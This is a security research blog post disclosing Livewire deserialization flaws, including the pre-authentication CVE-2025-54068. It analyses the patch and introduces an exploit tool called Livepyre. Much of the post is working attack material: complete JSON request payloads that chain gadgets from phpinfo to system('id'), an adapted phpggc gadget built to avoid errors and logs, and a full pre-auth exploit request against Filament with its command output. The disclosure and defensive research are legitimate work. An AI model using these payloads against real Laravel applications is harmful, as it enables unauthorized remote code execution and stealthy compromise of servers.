Livewire: remote command execution through unmarshaling

Mon, 22 Dec 2025 16:00:37 -0800

# Livewire: remote command execution through unmarshaling However, this mechanism comes with a critical vulnerability: a dangerous unmarshalling process can be exploited as long as an attacker is in possession of the APP\_KEY of the application. By crafting malicious payloads, attackers can manipulate Livewire’s hydration process to execute arbitrary code, from simple function calls to stealthy remote command execution. Finally, our research uncovered a pre-authenticated remote code execution vulnerability in Livewire, exploitable even without knowledge of the application’s APP\_KEY. By analyzing Livewire’s recursive hydration mechanism, we found that attackers could inject malicious synthesizers through the updates field in Livewire requests, leveraging PHP’s loose typing and nested array handling. This technique bypasses checksum validation, allowing arbitrary object instantiation and leading to full system compromise. Looking to improve your skills? Discover our **trainings** sessions! Learn more. ## Introduction Livewire has rapidly become one of the most popular full-stack frameworks for Laravel, empowering developers to build dynamic, real-time interfaces with minimal JavaScript. As of 2025, Livewire is used in over **30% of new Laravel projects**, according to community surveys and GitHub trends, making it a cornerstone of modern Laravel development. According to builtwith, there are currently more than 130K public instances of application based on Livewire. Livewire uses the concepts of hydration and dehydration to manage component states. When a component is dehydrated, its state is saved and sent to the frontend with a checksum. Upon rehydration, the server verifies the checksum before restoring the component's state. This ensures that the component's state has not been altered during transit. ## Livewire hydration mechanism ### Example of a Livewire update chain First, let's see how Livewire is integrated on an actual Laravel project to better understand its purpose. Consider the following simple quickstart example: a basic component that increments or decrements a counter. A Livewire component can be setup with only three files: - A component stored in `app/Livewire/`: ``` // app/Livewire/Counter.php count++; } public function decrement() { $this->count--; } public function render() { return view('livewire.counter'); } } ``` - A route pointing to this component ``` // routes/web.php @if($count)
{{$count}}
@endif + -
``` When a user triggers the increment action on the frontend, a POST request is sent to the server to update the component state. The request looks like this: ``` POST /livewire/update HTTP/1.1 Host: livewire.local [...] { "_token":"jMEN2kTQRrwSA5CgH5y8WWqbCpdb4Lx4iBznnlFD", "components":[ { "snapshot":"{\"data\":{\"count\":3},\"memo\":{\"id\":\"Y6a883cdUFy82whZ10JW\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"f56c273c0e4a3eaa5d7fdea9e7142c42d0e1128a8aee35e9546baffaa41870ac\"}", "updates":{}, "calls":[ { "path":"", "method":"increment", "params":[] } ] } ] } ``` In this request, two fields are particularly important. First, the `components->snapshot` field contains all the serialized information needed to restore the component’s state on the server side, including the properties and their values. Second, the `components->calls` field defines the list of methods that need to be called on the component, along with any associated parameters. ``` { "data":{ "count":3 }, "memo":{ "id":"Y6a883cdUFy82whZ10JW", "name":"counter", "path":"counter", "method":"GET", "children":[], "scripts":[], "assets":[], "errors":[], "locale":"en" }, "checksum":"f56c273c0e4a3eaa5d7fdea9e7142c42d0e1128a8aee35e9546baffaa41870ac" } ``` `components->snapshot->data` stores the state of the component. While properties with simple types are sent as raw JSON (for instance, `count` in the previous example), complex types can also be serialized using what Livewire calls Synthetizers. ### Livewire synthesizers Synthesizers provide a mechanism to define how these custom types should be JSON serialized (dehydrated) and JSON deserialized (hydrated) when sent between the client and server. This ensures that the state of these properties is correctly maintained across requests. By implementing custom Synthesizers, developers can extend Livewire's functionality to recognize and manage various property types used in their applications, enhancing the flexibility and capability of Livewire components. To be considered a synthesizer, a check is made by Livewire on each payload element using the `isSyntheticTuple` function. ``` 1 $child) { 10 $value[$key] = $hydrateChild($key, $child); 11 } 12 return new $meta['class']($value); 13 } 14 } ``` The class defines a static `$key` set to `'clctn'`, which serves as an identifier. This key is used internally by Livewire to associate serialized data with the `CollectionSynth` class during the hydration phase. When the `hydrate` method is called, it receives a `$value`, which represents the serialized collection data, a `$meta` array containing metadata (such as the name of the original class), and a `$hydrateChild` callback used to individually process each element of the collection. The `$value` is first iterated over, and each item is passed through the `$hydrateChild` function to ensure nested, or complex types are properly rehydrated. Once all elements are processed, a new instance of the original collection class is created using the reconstructed array. In short, `CollectionSynth` is what allows Livewire to maintain the integrity and functionality of PHP collection objects across frontend-backend communication, making sure that when collections are sent back from the browser, they are restored to their correct PHP class form. #### FormObjectSynth The `FormObjectSynth` class is used to handle the (de)hydration of special "form objects" tied to a Livewire component, while ensuring they remain properly linked to the component context. ``` 1 context->component, $this->path); 12 $callBootMethod = static::bootFormObject($this->context->component, $form, $this->path); 13 14 foreach ($data as $key => $child) { 15 if ($child === null && Utils::propertyIsTypedAndUninitialized($form, $key)) { 16 continue; 17 } 18 19 $form->$key = $hydrateChild($key, $child); 20 } 21 $callBootMethod(); 22 return $form; 23 } 24 } ``` The class defines a static `$key` set to `'form'`, which acts as an identifier allowing Livewire to recognize serialized data that should be handled by `FormObjectSynth`. When hydration occurs, the `hydrate` method is called with `$data`, `$meta`, and a `$hydrateChild` callback. The `$meta` array contains metadata, including the class name of the form object to instantiate. Although `$meta` is user-controlled, the `$this->context` and `$this->path` values used during instantiation are not, which means that only objects whose constructors accept two or fewer weakly-typed parameters (typically the component and a path) can be instantiated successfully. Inside the `hydrate` method, a new form object is created, and a boot method is optionally called to initialize it further. After that, a loop iterates over the `$data` array, which represents the serialized form fields. Each field is passed through `$hydrateChild` to allow nested structures to be properly restored. These hydrated values are then assigned directly to the corresponding public properties of the form object. As a result, any public property of the instantiated object can be set with controlled values, giving great flexibility in reconstructing the object's internal state based on the incoming data. In essence, `FormObjectSynth` makes it possible for Livewire to rebuild form objects attached to components, ensuring that they are fully hydrated with the correct structure and values when received from the frontend. #### ModelSynth The `ModelSynth` class is responsible for handling the (de)hydration of model objects when communicating between the frontend and the backend. Its main purpose is to correctly reconstruct Eloquent models or model-like objects from serialized data. ``` 1 __toString()` to get the string version of the object. - `__destruct`: Known as the destructor, this method is automatically called when an object is no longer in use, typically when it goes out of scope or when the script ends. It allows for cleanup operations before the object is fully deallocated. - `__invoke`: This method is triggered when an object is treated like a function, meaning when a script attempts to call an object directly, such as `$obj()`. You can find detailed explanations for these magic methods (and others) in the PHP documentation. ### First step: getting a phpinfo To execute the `phpinfo` function, two PHP classes are involved: `GuzzleHttp\Psr7\FnStream` and `League\Flysystem\UrlGeneration\ShardedPrefixPublicUrlGenerator`. The first one, `FnStream`, is defined as follows: ``` 1 methods = $methods; 13 // Create the functions on the class 14 foreach ($methods as $name => $fn) { 15 $this->{'_fn_'.$name} = $fn; 16 } 17 } 18 19 public function __destruct() 20 { 21 if (isset($this->_fn_close)) { 22 ($this->_fn_close)(); 23 } 24 } 25 26 public function __toString(): string 27 { 28 try { 29 /** @var string */ 30 return ($this->_fn___toString)(); 31 } catch (\Throwable $e) { 32 if (\PHP_VERSION_ID >= 70400) { 33 throw $e; 34 } 35 trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR); 36 37 return ''; 38 } 39 } 40 } ``` In this class, the constructor accepts an array as a parameter. Each key-value pair from this array is dynamically assigned to the object as a method-like property, prefixed with `_fn_`. For example, if the array contains a key `__toString`, it will create `$this->_fn___toString`. This means that the object can dynamically respond to certain PHP magic methods based on user-provided functions. The destructor `__destruct` is automatically called when the object is no longer referenced or at the end of the script. If the special method `_fn_close` has been defined via the constructor, it is called at this moment, effectively executing code during object destruction. The `__toString` is called to convert an object to a string. It attempts to call the dynamically created `_fn___toString` function. The second class involved is `ShardedPrefixPublicUrlGenerator`, defined below: ``` 1 count = count($prefixes); 14 15 if ($this->count === 0) { 16 throw new InvalidArgumentException('At least one prefix is required.'); 17 } 18 19 $this->prefixes = array_map( 20 static _fn(string $prefix) => new PathPrefixer($prefix, '/'), 21 $prefixes); 22 } 23 24 } ``` In this class, the constructor expects an array of prefixes. It counts the number of elements and ensures that at least one prefix is provided; otherwise, it throws an exception. The array is then processed using `array_map`, applying a function to each element. Each prefix is passed to a new `PathPrefixer` instance. Importantly, the `array_map` callback specifies that the input must be a `string`. Therefore, if an object is passed instead of a string, PHP will attempt to cast the object to a string, invoking the `__toString` magic method if it exists on that object. Now, considering the following crafted payload sent to a Livewire component: ``` { "_token": "kRzCxuIKxdKDKzMZicOa82zwdSe9Q2SWPLCdHoVw", "components": [ { "snapshot": "{\"data\":{\"count\":[{\"file_path\":[{\"__toString\":\"phpinfo\"},{\"s\":\"clctn\",\"class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\"}]},{\"class\":\"League\\\\Flysystem\\\\UrlGeneration\\\\ShardedPrefixPublicUrlGenerator\",\"s\":\"clctn\"}]},\"memo\":{\"id\":\"91wbKENP2UIzjEK4pHi2\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"5d8f2f606f8309d12b68e5f895f3ff69eeb4da5ccd77430971d850d860ce38a8\"}", "updates": {}, "calls": [ { "path": "", "method": "increment", "params": [] } ] } ] } ``` The `snapshot` field in this request, once decoded, contains: ``` [ { "file_path": [ { "__toString": "phpinfo" }, { "s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream" } ] }, { "class": "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator", "s": "clctn" } ] ``` This data structure will trigger the instantiation of a `FnStream` object where the `__toString` method is dynamically linked to a call to the `phpinfo` function. Then, a `ShardedPrefixPublicUrlGenerator` object is instantiated, receiving an array that contains the `FnStream` object. Because `ShardedPrefixPublicUrlGenerator` applies `array_map` with a function expecting a `string`, PHP will attempt to cast the `FnStream` object to a string. This action will internally call the `__toString` method defined earlier, which, in this case, executes the `phpinfo` function. In summary, this chain of logic carefully exploits PHP’s magic methods, type enforcement, and Livewire’s hydration system. It enables dynamic execution of arbitrary functions during the processing of otherwise innocuous serialized data, by leveraging the natural behaviour of `__toString`, `__destruct`, and controlled hydration structures. Sending this crafted payload executes the `phpinfo` function: As explained above, the recursive hydration scheme leading to the execution of a `phpinfo` is as follows: ### Second step: getting remote command execution To achieve remote command execution, others gadgets need to be found, as it is necessary to be able to pass arguments to a controlled function. `closure`(line 31-32): it is weakly typed. Therefore, it is possible to instantiate it via a `CollectionSynth`, which allows `$this->closure` to be defined as an array. Moreover, the `__invoke` function of this class (line 41) allows us to call any function thanks to the usage of `call_user_func_array`. However, arguments will be blank because they are not controlled. At this point, any public function of any class can be called. ``` 1 closure = $closure; 34 } 35 36 /** 37 * Resolve the closure with the given arguments. 38 * 39 * @return mixed 40 */ 41 public function __invoke() 42 { 43 return call_user_func_array($this->closure, func_get_args()); 44 } 45 } ``` In this code, the `Queueable` trait is incorporated by using the `use` keyword (line 11), which makes its properties and methods directly accessible within that class. The method `dispatchNextJobInChain` (line 19) is callable because Laravel’s `Laravel\SerializableClosure\Serializers\Signed` class enables the framework to safely serialize and deserialize closures that will be executed later. A critical point appears at line 22, where the `unserialize` function is invoked on the `$this->chained` array. Since all the variables defined in the `Queueable` trait are public, they can be freely assigned through a form synthesizer, making it possible to control the content of `$this->chained`. Without this level of accessibility, influencing the deserialization process in this way would not have been achievable. ``` 1 chained)) { 22 dispatch(tap(unserialize(array_shift($this->chained)), function ($next) { 23 $next->chained = $this->chained; 24 25 $next->onConnection($next->connection ?: $this->chainConnection); 26 $next->onQueue($next->queue ?: $this->chainQueue); 27 28 $next->chainConnection = $this->chainConnection; 29 $next->chainQueue = $this->chainQueue; 30 $next->chainCatchCallbacks = $this->chainCatchCallbacks; 31 })); 32 } 33 } 34 35 } ``` In this class, the `Queueable` trait is included at line 15, which injects the trait’s public properties and queuing-related behavior directly into `BroadcastEvent`. The constructor defined at line 23 accepts the `$event` parameter, once more, without any type restriction, meaning it is weakly typed and therefore able to receive any kind of value. Because the class exposes several public properties inherited from the trait, an object of `BroadcastEvent` can be instantiated through a form synthesizer, allowing these public variables to be reassigned during construction. This flexibility is what makes it possible for the constructor to extract optional properties from the supplied `$event` instance and apply them dynamically to the new job. ``` 1 event = $event; 26 $this->tries = property_exists($event, 'tries') ? $event->tries : null; 27 $this->timeout = property_exists($event, 'timeout') ? $event->timeout : null; 28 $this->backoff = property_exists($event, 'backoff') ? $event->backoff : null; 29 $this->afterCommit = property_exists($event, 'afterCommit') ? $event->afterCommit : null; 30 $this->maxExceptions = property_exists($event, 'maxExceptions') ? $event->maxExceptions : null; 31 } 32 33 } ``` Laravel is particularly vulnerable to exploits based on the `unserialize` function. Indeed, it contains dozens of valid deserialization payload usable to reach remote command execution. In this case, we generated a gadget chain with the tool phpggc, we chose `Laravel/RCE4` developed by BlackFan because it is valid on any version of Laravel. By chaining all together, we built the following payload which allows getting remote command execution on the server: ### Third step: make the server flaw stop to be sneaky #### Building a dedicated POP chain to continue the flow In order to achieve sneaky command execution, the `Laravel/RCE4` payload had to be adapted so that it did not directly stop the execution flow and cause the server to crash with a code 500 error. This error is due to the fact that after the call to `unserialize` in the dispatchNextJobInChain function, the code flow is not stopped after the arbitrary code execution. The `PendingBroadcast` object generated from the chain `Laravel/RCE4` is incompatible with this process, the attended type of object is most of the time a `BroadcastEvent` which uses the `Queueable` trait. ``` [...] 1 public function dispatchNextJobInChain() 2 { 3 if (! empty($this->chained)) { 4 dispatch(tap(unserialize(array_shift($this->chained)), function ($next) { 5 $next->chained = $this->chained; 6 $next->onConnection($next->connection ?: $this->chainConnection); 7 $next->onQueue($next->queue ?: $this->chainQueue); 8 $next->chainConnection = $this->chainConnection; 9 $next->chainQueue = $this->chainQueue; 10 $next->chainCatchCallbacks = $this->chainCatchCallbacks; 11 })); 12 } 13 } ``` So in order to keep the remote command execution from the `PendingBroadcast` trigger, we had to encapsulate it inside a `BroadcastEvent` to keep the PHP flow alive through the `dispatchNextJobInChain` function. The gadget `Laravel/RCE4` from phpggc was therefore adapted and renamed `Laravel/RCE4Adapted`: - In the `gadgets.php` file, we see that a `BroadcastEvent` definition was added to allow the code flow to reach its end: ``` dummy = $dummy; // Contains the PendingBroadcast object triggering RCE + $this->connection = null; // dispatchNextJobInChain line 6 + $this->queue = null; // dispatchNextJobInChain line 7 + $this->event = new \Illuminate\Notifications\Notification(); // crashes code flow in BroadcastEvent if undefined + } + } + } namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; + public static $onConnection = 1; // Crashes code flow in PendingBroadcast if not defined function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Validation { class Validator { public $extensions; function __construct($function) { $this->extensions = ['' => $function]; } } } ``` - In the `chain.php` file, we can see that the main object is now a `BroadcastEvent`, which contains the `PendingBroadcast` triggering the remote command execution : ``` terminal = new SymfonyTerminal(); 15 } 16 17 /** 18 * Exit the interactive session. 19 */ 20 public function exit(): void 21 { 22 exit(1); 23 } 24 25 } ``` In this class, the `exit` method defined at line 20 becomes directly accessible due to the behavior of Guzzle’s `FnStream` object, whose `__toString` method can trigger callable streams and thereby invoke publicly exposed functions. Since `exit` is declared as a public method, this mechanism allows it to be reached indirectly through the string-casting process performed by `FnStream`, ultimately enabling the method to execute and terminate the interactive session. This chain cleanly stops the PHP flow without generating an error in Laravel logs, making the exploit stealthier. As explained above, the recursive hydration scheme leading to the arbitrary command execution without logs is as follows: ### Exploitation using laravel-crypto-killer As long as you have a valid `APP_KEY` and a raw Livewire snapshot, it is possible to craft a payload containing the full gadget chain to compromise Livewire. Therefore, a module was developed to add the full gadget chain inside `laravel-crypto-killer`, available through the new `exploit` mode: To use it for Livewire, the following parameters must be specified: - `-e`: Specify exploit name (here `livewire`) - `-k`: APP\_KEY of the application - `-j`: Raw JSON or path to a file containing the whole Livewire update JSON - `--function`: PHP function to execute - `-p`: Parameter value that will be passed to the function #### Example on a public application: Snipe-IT ## Bypassing the APP\_KEY requirement ### Updates mechanism In the introduction we showed that Livewire allows to call arbitrary methods on components by using the increment method on the `Counter` component. Nevertheless, it is also possible to directly update a component property by setting it inside the updates value of a Livewire request. So if we wanted to modify our counter to `1337`, we could manually set its value with the following request: ``` POST /livewire/update HTTP/1.1 Host: 192.168.122.184 Content-Length: 407 Cookie: XSRF-TOKEN=ey[...]%3D { "_token": "KAzJ4mhO8NzK8hMkAPjslaNo6hG2W740HoBDzSzA", "components": [ { "snapshot": "{\"data\":{\"count\":1},\"memo\":{\"id\":\"4TRWeXVBaMBrHslVVgVi\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"9bfe798289569477fcf865a952a4a8ddeb3c4150df56b4b404e8df400d0aa0be\"}", "updates": { "count": 1337 }, "calls": [] } ] } ``` This feature comes with another issue we already talked about: by default, if developers do not enforce strong typing on their component parameters, they will be vulnerable to type juggling. For example, the `count` parameter from `Counter` class is not strongly typed: ``` count++; } [...] } ``` Therefore, we are able to set its value as a string or any other value supported by JSON: ``` POST /livewire/update HTTP/1.1 Host: 192.168.122.184 Content-Length: 407 Cookie: XSRF-TOKEN=ey[...]%3D { "_token": "KAzJ4mhO8NzK8hMkAPjslaNo6hG2W740HoBDzSzA", "components": [ { "snapshot": "{\"data\":{\"count\":1},\"memo\":{\"id\":\"4TRWeXVBaMBrHslVVgVi\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"9bfe798289569477fcf865a952a4a8ddeb3c4150df56b4b404e8df400d0aa0be\"}", "updates": { "count": "Wait.. I should be an integer" }, "calls": [] } ] } ``` Therefore, it is possible to cast any weakly typed `snapshot` field to any default basic JSON types from `updates`. In the following parts of this article, we will explain how to abuse this update mechanism in order to use the full gadget chain detailed previously, in order to achieve remote command execution **without the** `APP_KEY` on Livewire 3. ### Vulnerability analysis When data is sent in the `updates` field to Livewire, it will be controlled inside the `$value` value in the `hydrateForUpdate` function of the `HandleComponents` class: ``` 1 getMetaForPath($raw, $path); // Verifies if the data contains a synthesizer 12 13 // If we have meta data already for this property, let's use that to get a synth... 14 if ($meta) { 15 return $this->hydrate([$value, $meta], $context, $path); 16 } 17 } 18 19 protected function getMetaForPath($raw, $path) 20 { 21 [...] 22 23 [$data, $meta] = Utils::isSyntheticTuple($raw) ? $raw : [$raw, null]; 24 [...] 25 26 return $meta; 27 28 } ``` When updating a value, the snapshot data will be sent to the `hydrateForUpdate` function (line 9) as follows: - `$raw`: Value of the data already defined in the snapshot - `$path`: Name of the component, in our case it will be `counter` - `$value`: Value defined inside the `updates` field - `$context`: Global Livewire context If the `$raw` data, which is already defined, is considered a synthesizer, then Livewire will call the `hydrate` function on the new definition controlled by the user in `$value`. The `isSyntheticTuple` function (cf Livewire synthesizers chapter) in the `getMetaForPath` function (line 23) checks that the `$raw` data is an array containing exactly two elements. The first one can be anything, but the second one has to be another array containing the key `'s'` (which is a synthesizer static key). That is where type juggling comes in handy, by default, no security checks are made in Livewire: there are many cases where a component field will be castable as an array via `updates`: ``` POST /livewire/update HTTP/1.1 Host: 192.168.122.184 Content-Length: 407 Cookie: XSRF-TOKEN=ey[...]%3D { "_token": "KAzJ4mhO8NzK8hMkAPjslaNo6hG2W740HoBDzSzA", "components": [ { "snapshot": "{"data": { "count":1 }, [...] }", "updates": { "count": [] }, "calls": [] } ] } HTTP/1.1 200 OK Host: 192.168.122.184 Set-Cookie: [...]joiIn0%3D; expires=Wed, 17 Dec 2025 18:44:31 GMT; Max-Age=7200; path=/; samesite=lax { "components": [ { "snapshot": "{"data":{ "count":[ [], {"s":"arr"} ] }, [...] }", } ], "assets": [] } ``` As we can see, when `$count` is set as an array, a new valid snapshot is sent back to the user, but the value of an array becomes `[[], {"s":"arr"}]`. ``` 1 propertySynth($meta['s'], $context, $path); 18 19 return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path) { 20 return $this->hydrate($child, $context, "{$path}.{$name}"); 21 }); 22 } 23 } ``` It means that we are able to reach the `hydrate` function with a fully controlled `$value`. All that is needed is to cast one value as an array so let us analyze the possibilities: - `$valueOrTuple`: Value defined inside the `updates` field in the snapshot - `$context`: Livewire's global context - `$path`: Keeps track of the current child nesting since hydrate is recursive Here, like often, the vulnerability is in the details. Inside the `hydrateForUpdate` function, the `$raw` is validated as a synthesizer to reach the `hydrate` function. This check is made again on `$valueOrTuple` with the `$raw` meta value. However, since the `hydrate` function is recursive, it will pop any sub value nested inside a bigger array and replay this check on each `$child`, which can be nested and is fully controlled by the user. **Therefore, by hiding a synthesizer inside an array, we are able to trigger the full Livewire gadget chain without having to be in possession of the** `APP_KEY` **anymore!** To be clearer, here is a schema detailing the full idea with full detail on the exploitation process: ### Creation of a new tool: Livepyre In order to easily automate the previous exploits, we created the Livepyre tool which checks and exploits Livewire snapshots with or without `APP_KEY` s depending on the context. ``` $ python3 Livepyre.py -h usage: Livepyre.py [-h] -u URL [-f FUNCTION] [-p PARAM] [-H HEADERS] [-P PROXY] [-a APP_KEY] [-d] [-F] [-c] Livewire exploit tool options: -h, --help show this help message and exit -u URL, --url URL Target URL -f FUNCTION, --function FUNCTION Function to execute (default: system) -p PARAM, --param PARAM Param for function (default: id) -H HEADERS, --headers HEADERS Headers to add to the request (default None) -P PROXY, --proxy PROXY Proxy URL for requests -a APP_KEY, --app-key APP_KEY APP_KEY to sign snapshot -d, --debug Enable debug output -F, --force Force exploit even if version does not seems to be vulnerable -c, --check Only check if the remote target is vulnerable (only revelant for the exploit without the APP_KEY) ``` Livepyre offers two operating modes: - Without APP\_KEY: Exploit CVE-2025-54068, the only requirement is the URL of the vulnerable application - With the APP\_KEY: Exploits the design flaw identified in the first part of this blog post, allowing you to get RCE on applications based on Livewire v3. #### Version fingerprinting When deploying a website with Livewire, the loaded JavaScript code on the frontend contains a cache buster `?v=` that contains a specific hash depending on the version of its JavaScript file. ``` $ curl -s http://192.168.122.184/counter | tail -n3 ``` This behavior can be used to fingerprint the Livewire version: ``` $ python3 Livepyre.py -u http://192.168.122.184/counter [INFO] The remove livewire version is v3.6.2, the target is vulnerable. [INFO] Found snapshot(s). Running exploit. [...] ``` The tool Livepyre is available here. ## CVE-2025-54068 patch analysis This vulnerability was quickly patched and was assigned CVE-2025-54068. To fix the vulnerability, the following patch was applied: ``` 1 isRemoval($value) && str($path)->contains('.')) { 17 + return $value; 18 + } 19 + 20 + $synth = $this->propertySynth($meta['s'], $context, $path); 21 + 22 + return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) { 23 + 24 + return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context); 25 + 26 + }); 27 } 28 [...] 29 protected function hydratePropertyUpdate($valueOrTuple, $context, $path) 30 { 31 [...] 32 if ($meta) { 33 - return $this->hydrate([$value, $meta], $context, $path); 34 + return $this->hydratePropertyUpdate([$value, $meta], $context, $path, $raw); 35 36 } 37 } 38 39 } ``` A new `hydratePropertyUpdate` function (line 9) was created. Instead of calling `$child` alone in the hydrate recursion, `$raw` is kept as the first parameter (line 25). Its meta content is kept, which protects the update against (line 13): - Arbitrary synthesizer cast - Arbitrary class redefinition It effectively protects against arbitrary redefinition. ## Impact on other Laravel based projects This vulnerability affected many projects. Indeed, Livewire was downloaded 64 million times and 1 754 packages depend on it, meaning most of them were exposed to this CVE. ### Demonstration on a real project: Filament Filament is an open-source Laravel tool for rapidly building elegant, customizable admin panels and CRUD interfaces, powered by Livewire. According to packagist, this project was installed 18 millions times, which is more than one quarter of all Livewire's downloads. The component `$form` from its login panel is weakly typed, which made it affected pre-authentication: ``` 1 | null 21 */ 22 public ?array $data = []; 23 24 public function mount(): void 25 { 26 if (Filament::auth()->check()) { 27 redirect()->intended(Filament::getUrl()); 28 } 29 30 $this->form->fill(); 31 } 32 [...] 33 } ``` As we can see on the previous code, the property `$this->form`, is assigned as a Form synthesizer (line 7) from the `@property` annotation. Because `form` is already a synthesizer, it removes the requirement to cast an element as an array, therefore, Livepyre will use `form` to send the full payload from `updates`, directly triggering the code execution : ``` POST /livewire/update HTTP/1.1 Host: 192.168.90.100:8000 [...] Content-Length: 1592 Content-Type: application/json { "_token": "EYPUvUKvuSdxKjCF3ZDCUHdayvEjD2MIKZCW6RLn", "components": [ { "snapshot": "{\"data\": {\"form\": [{\"email\": \"\", \"password\": \"\", \"remember\": false}, {\"class\": \"App\\\\Livewire\\\\Forms\\\\LoginForm\", \"s\": \"form\"}]}, \"memo\": {\"id\": \"JcltDyhVBLY0icPUhGLG\", \"name\": \"pages.auth.login\", \"path\": \"login\", \"method\": \"GET\", \"children\": [], \"scripts\": [], \"assets\": [], \"errors\": [], \"locale\": \"en\"}, \"checksum\": \"5e6cb3790a1c61816f28bb1a8d92c9704ac67a7b2d5000c568305c704ba7cced\"}", "updates": { "form": [ 1, [ { "a": [ { "__toString": "phpversion", "close": [ [ [ { "chained": [ "O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:6:\"system\";}}s:8:\"\u0000*\u0000event\";s:2:\"id\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}" ] }, { "s": "form", "class": "Illuminate\\Broadcasting\\BroadcastEvent" } ], "dispatchNextJobInChain" ], { "s": "clctn", "class": "Laravel\\SerializableClosure\\Serializers\\Signed" } ] }, { "s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream" } ], "b": [ { "__toString": [ [ [ null, { "s": "mdl", "class": "Laravel\\Prompts\\Terminal" } ], "exit" ], { "s": "clctn", "class": "Laravel\\SerializableClosure\\Serializers\\Signed" } ] }, { "s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream" } ] }, { "class": "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator", "s": "clctn" } ] ] }, "calls": [] } ] } HTTP/1.1 200 OK Host: 192.168.90.100:8000 [...] uid=1000(user) gid=1000(user) groups=1000(user),4(adm), 24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare) uid=1000(user) gid=1000(user) groups=1000(user),4(adm), 24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare) ``` You can see the full exploit on the folllowing video: ### Exchange regarding the APP\_KEY requirement The exploit version requiring the `APP_KEY` was not patched because it exploits the way Livewire is designed. Since it requires the `APP_KEY` to be exploited, Livewire team did not consider it as a security issue. Therefore, being in possession of the `APP_KEY` on a newer than version 3 Livewire based application means you can fully compromise it. It is also important to keep in mind that several `APP_KEYs` are default ones on thousands of publicly exposed Laravel applications, we already published a full blog post dedicated to this subject: https://www.synacktiv.com/en/publications/laravel-appkey-leakage-analysis. ## Conclusion Our research demonstrates that by chaining Livewire’s synthesizer classes with already defined classes, an attacker can craft payloads that achieve stealthy remote code execution when the `APP_KEY` is known. The exploit leverages Livewire’s recursive hydration to instantiate arbitrary objects and execute attacker-controlled code during the component’s state restoration. This process, while complex, highlights the dangers of trusting user-controlled data and the lack of strict type enforcement in PHP frameworks. The discovery of `CVE-2025-54068` further exposed a critical flaw: the ability to smuggle synthesizers via the `updates` mechanism, entirely bypassing the need for the `APP_KEY`. This vulnerability, now patched, forced Livewire to harden its hydration logic by preserving the original snapshot context during recursive calls. However, the `APP_KEY` dependent exploit remains unpatched, as the Livewire team considers `APP_KEY` exposure a sufficient security boundary. Yet, given the prevalence of leaked or default `APP_KEY` s in the wild, this stance may underestimate real-world risk. To automate both attacks, we developed `Livepyre`, a tool that streamlines exploitation with and without the `APP_KEY`. Ultimately, Livewire’s case is a stark reminder that innovative features, when built on loose typing and implicit trust, can become powerful exploit chains. For Livewire users, upgrading to version 3.6.4+ is non-negotiable, but the real fix lies in adopting secure coding practices: strict types and controlled user data to prevent critical security flaws.